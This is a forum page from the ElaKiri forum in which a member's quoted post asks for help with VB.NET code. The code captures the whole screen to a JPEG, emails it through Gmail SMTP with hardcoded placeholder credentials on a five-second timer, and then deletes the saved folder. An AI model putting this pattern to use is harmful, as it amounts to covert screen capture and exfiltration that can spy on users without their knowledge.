Search
Search titles only
By:
Search titles only
By:
Log in
Register
Search
Search titles only
By:
Search titles only
By:
Menu
Install the app
Install
Forums
New posts
All threads
Latest threads
New posts
Trending threads
Trending
Search forums
What's new
New posts
New ads
New profile posts
Latest activity
Free Ads
Latest reviews
Search ads
Members
Current visitors
New profile posts
Search profile posts
Contact us
Latest ads
land for sale
justasking
Updated:
Today at 9:32 AM
AMD AM 5 Ryzen setup
prabodhamadusanka
Updated:
Thursday at 12:56 PM
Gampaha
ACER OKW223 Wired RGB Keyboard
chint
Updated:
Thursday at 10:17 AM
Gampaha
FANTECH R1 V2 RACING WHEEL
chint
Updated:
Thursday at 10:08 AM
Ad icon
Singapore V2Ray VPN
hu KANNA
Updated:
Wednesday at 11:33 PM
Electronics
Vehicles
Property
Search
Reply to thread
Forums
General
ElaKiri Talk!
VB උදව්ව්ව්ව්ව්
Get the App
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Message
<blockquote data-quote="gembaknb" data-source="post: 18283150" data-attributes="member: 515883"><p>my code is</p><p></p><p></p><p>[CODE]Import System.Net.Mail</p><p>/////</p><p></p><p> Dim gr As Graphics</p><p> Dim bm As Bitmap</p><p></p><p></p><p> bm = New Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, Drawing.Imaging.PixelFormat.Format32bppArgb)</p><p> gr = Graphics.FromImage(bm)</p><p> gr.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, New Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height))</p><p> gr = Graphics.FromImage(bm)</p><p> bm.Save("D:\abc\I.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)</p><p></p><p></p><p></p><p></p><p> Dim Mail As New MailMessage</p><p> Dim SMTP As New SmtpClient("smtp.gmail.com")</p><p></p><p> Mail.Subject = "Gemba"</p><p> Mail.From = New MailAddress("xyz@gmail.com")</p><p> SMTP.Credentials = New System.Net.NetworkCredential("xyz@gmail.com", "password")</p><p></p><p> Mail.To.Add("abc@gmail.com")</p><p></p><p></p><p> Mail.Attachments.Add(New Attachment("D:\abc\I.jpg"))</p><p></p><p> SMTP.EnableSsl = True</p><p> SMTP.Port = "587"</p><p> SMTP.Send(Mail)</p><p></p><p></p><p></p><p></p><p> Timer1.Interval = 5000</p><p> My.Computer.FileSystem.DeleteDirectory("D:\abc", FileIO.DeleteDirectoryOption.DeleteAllContents)[/CODE]</p></blockquote><p></p>
[QUOTE="gembaknb, post: 18283150, member: 515883"] my code is [CODE]Import System.Net.Mail ///// Dim gr As Graphics Dim bm As Bitmap bm = New Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, Drawing.Imaging.PixelFormat.Format32bppArgb) gr = Graphics.FromImage(bm) gr.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, New Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) gr = Graphics.FromImage(bm) bm.Save("D:\abc\I.jpg", System.Drawing.Imaging.ImageFormat.Jpeg) Dim Mail As New MailMessage Dim SMTP As New SmtpClient("smtp.gmail.com") Mail.Subject = "Gemba" Mail.From = New MailAddress("xyz@gmail.com") SMTP.Credentials = New System.Net.NetworkCredential("xyz@gmail.com", "password") Mail.To.Add("abc@gmail.com") Mail.Attachments.Add(New Attachment("D:\abc\I.jpg")) SMTP.EnableSsl = True SMTP.Port = "587" SMTP.Send(Mail) Timer1.Interval = 5000 My.Computer.FileSystem.DeleteDirectory("D:\abc", FileIO.DeleteDirectoryOption.DeleteAllContents)[/CODE] [/QUOTE]
Insert quotes…
Verification
Asuwa dahayen wadi kalama keeyada?
Post reply
Top
Bottom